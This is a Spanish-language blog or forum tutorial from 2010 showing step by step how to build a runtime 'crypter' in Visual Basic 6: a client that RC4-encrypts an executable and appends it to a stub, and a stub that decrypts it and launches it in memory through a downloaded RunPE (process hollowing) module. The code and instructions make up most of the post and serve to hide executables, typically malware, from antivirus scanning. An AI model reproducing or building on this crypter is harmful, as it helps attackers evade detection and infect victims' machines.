Sm0kes

Publicado el 13/01/2010 12:01:00 en Programación General. Total de votos: 1 Votar

Bueno pa los k no sepan komo crear un crypter en vb les ensenare aki kon imagenes pa k c les haga mas claro k el agua….
En este caso sera un crypter muy basico….Ahora si comenzemos ;)..
Cliente => Archivo encargado de fucionar el stub y el archivo a encriptar usando algun texto komo limite
Stub => archivo encargado de desencriptar el archivo encriptado al momento k se ejecute y arrankarlo en memoria
Primero Comenzaremos kreando el Cliente
Crearemos un boton y le pondremos el nombre de “Cryptbtn”

Las propiedades kedarian algo asi

Ahora lo k haremos sera dale click derecho a la barra de herramientas k se encuentra al lado izquierdo y hacer click en components o components en espanol o simplemente puede usar Ctrl +T

Una ves en components
Buscamos
Microsoft Common Dialog Control 6.0 lo markamos y le damos a apply o aplicar y nos aparecera un Nuevo icono asi komo en la imagen

Y ahora lo selecionamos y colocamos uno en nuestro form kedaria algo asi no c preokupen donde lo pongan k no sera visible al momento d arrankar el programa

Y ahora le ponemos un nombre corto al Commondialog1 le ponemos CD que seria mejor xD..
Kedaria asi

Desde ahi fue la parte del diseno ahora nos dedikaremos a codear xD… k es lo mas interesante
Hacemos doble click en el boton y aparece esto

Pues comensaremos…..
Al hacer click al boton haremos k los siguientes codigos se ejecuten…..
Primero tenemos k seleccionar el archivo a encriptar y coseguir la direccion o path del archivo usando el siguiente codigo

With CD
        .Filter = "*.exe|*.exe"
        .DialogTitle = "Seleccionar File"
       	.ShowOpen
End with

Con esto estoy tratando de hacer k con CD (k seria el CommonDialog k agregamos) pongamos valorres
Filter(Filtro) => k solo permitira archivo EXE
DialogTitle(Titulo de Ventana) => ponemos el titulo de la ventana
ShowOpen => mostrara la ventana de Abrir Archivo

Hacerlo con el metodo ” With” es mas rapido k estar escribiendo para kada opcion
CD.filter = “………
CD.dialogtitle = “……
CD.ShowOpen = “……

Bueno sigamos
Ahora para poder proceder debemos verificar si es que el usuario selecciono algun archivo de lo contrario seria un texto vacio o nulo (“”)

Entonces usamos el (IF…..Then……End if)

If not CD.filename = “” Then
	‘Codigo a ejecutar
End if

Con esto digo k si el nombre del archivo no es igual a “” o es vacio podemos seguir…con esto tmb evitamos errors y es preferable ponerlo ;)..

Ahora seguimos con el codigo k ira dentro de bloke IF

Pero antes de seguir le dejare un snippet k kon esto se me hara mas facil seguir y tmb para udts xD
Kon esto conseguimos el contenido que tiene el archivo que pongamos

Codigo…

Private Function LoadFile(sPath As String) As String
    Dim lFileSize As Long
    Dim sData As String
    Dim FF As Integer
    FF = FreeFile
    On Error Resume Next
    Open sPath For Binary Access Read As #FF
    lFileSize = LOF(FF)
    sData = Input$(lFileSize, FF)
    Close #FF
    LoadFile = sData
End Function

Ahora lo k haremos sera declarer una variable y cargar el archivo que vayamos a encryptar

Dim xFile as string
If not CD.filename = “” Then
	‘Codigo a ejecutar
	xFile = LoadFile(CD.filename)
End if

Ahora despues de hacer esto eliminaremos el texto k kedo en CD.filename haciendo lo siguiente
CD.filename = “”

Despues escogeremos el lugar donde se guardara el archivo otra ves usando el CommonDialog

Codigo

With CD
        .Filter = "*.exe|*.exe"
        .DialogTitle = "Lugat a guardar"
        .ShowSave
End With

Aca lo diferente a los anterior seria Showsave k en este caso mostrara la ventana que guardara un archivo

Y ahora por seguridad a algun error haremos denuevo el bloke

IF

If Not CD.FileName = "" Then
	
End If

Y el codigo iria quedando asi

Ahora seleccionariamos el path o lugar donde se encuentra el Stub y tmb cargarel contenido del mismo con el siguiente codigo
Primero declaramos una nueva variable

Dim Stub as string

Stub = LoadFile(App.Path  & "\Stub.exe")

Ya despues creado el archivo tenemos que abrirlo y meter los datos o el contenido del Stub y luego del archivo k se kiere encryptar

Antes Crearemos las siguientes constants

Const limit As String = "~DDlr"
Const key As String = "xPassx"

Y agregar un tipo de encryptacion ya k esto es necesario sino no c llamaria crypter xD.. Usaremos el RC4 le dejare el link.. ok ahora

http://www.mediafire.com/file/mljyxztkonn/RC4.rar

Open CD.FileName For Binary As  #1
  Put  #1 ,  , Stub & limit & Crypt(xFile, key) & limit & key
  Close #1

Aqui abro el archivo metemos los datos del stub, archivo y la key (para usarlo en la desencryptacion) y luego cerramos el archivo kon Close

Y el codigo final de Cliente kedaria asi

Compilamos el Cliente y ya!...
Ahora Comenzaremos con el STUB!!!!.....

Crearemos un Nuevo proyecto
Eliminaremos kualkier form k haya y agregaremos un module para hacer stub de mas ligero peso =)…

Ahora agregamos esto en el modulo que es necesario pa k c ejecute lo k esta adentro xD

Sub Main()

End sub

Bueno agregaremos el snippet de LoadFile k les mostre previamente

Va kedando asi

Ahora para ser mas ordenamos comenzare por declarar las variables y una constant

Const limit As String = "~DDlr"
Dim partes() As String
Dim xFile As String
Dim Stub As String

Ahora agregaremos el mismo modulo d encryptacion RC4 k del cliente
Y ahora para poder arrankrlo en memoria usaremos cRunPE_PTR creado x KarCrack todos los creditos a el x este buen code Thankz KarCrack!!... les pondre el link de deskrga lo agregamos al proyekto y para poder usarlo lo declararemos de la siguiente manera

http://www.mediafire.com/file/nb2nzfjzq1w/RunPe.rar

Dim runpe as New RunPe

Ya iria kedando asi

Ahora cargaremos el propio Stub ya k esta parte no estara encriptada y sera el encargado de desencriptar el archivo encriptado komo lo explike previamente

Stub = LoadFile(App.Path & "\" & App.EXEName & ".exe")

El Stub solo no sirve para nada ya k no podra abrirse solo servira komo komplemento!!
Ahora debemos partir las partes k fueron unidas usando SPLIT()

partes() = Split(Stub, limit)

limit es "~DDlr" como esta declarado en la constant y tendra k ser lo mismo k usamos en el cliente para unir los archivos es como usar Explode y Implode o split en PHP !.

Ahora tener en mente k al partir devuelte mas d 1 depende kuantos encuentre pero komenzara d 0 osea partes(0)

Ahora tenr en kuenta k en el cliente primero metimos el Stub, El archivo a encryptar y la key!...
Seria
Partes(0) => Stub
Partes(1) => Archivo
Partes(2) => Key

Entonces tenemos k desencriptar el archivo usando RC4 para luego arrankarlo en memoria usando RunPe

Desencryptando!.

xFile = Crypt(partes(1), partes(2))

Y arrankando en memoria!

runpe.runpe StrConv(xFile, vbFromUnicode), App.Path & “\” & App.EXEName & “.exe”

Y si siguieron los pasos kedaria asi

Y ahora a kompilar y a esperar k todo fue bien xD……

Probando kon un MsgBox..

Y WaaaLah!!...Funciono U_U Milagrosamente jeje.!...

Espero k les haya servido y hayan aprendido x lo menos algo xD…..y si les gusto dejenme +1 xD…Si no kedara en su conciencia U_U…

Showing my feelings through the walls

Sm0kes

About My Blog

About Me

Blogroll: 5

Perfil de sm0kes

Patrocinadores:

Creando un Crypter Runtime en VB By Sm0kes

Comentarios: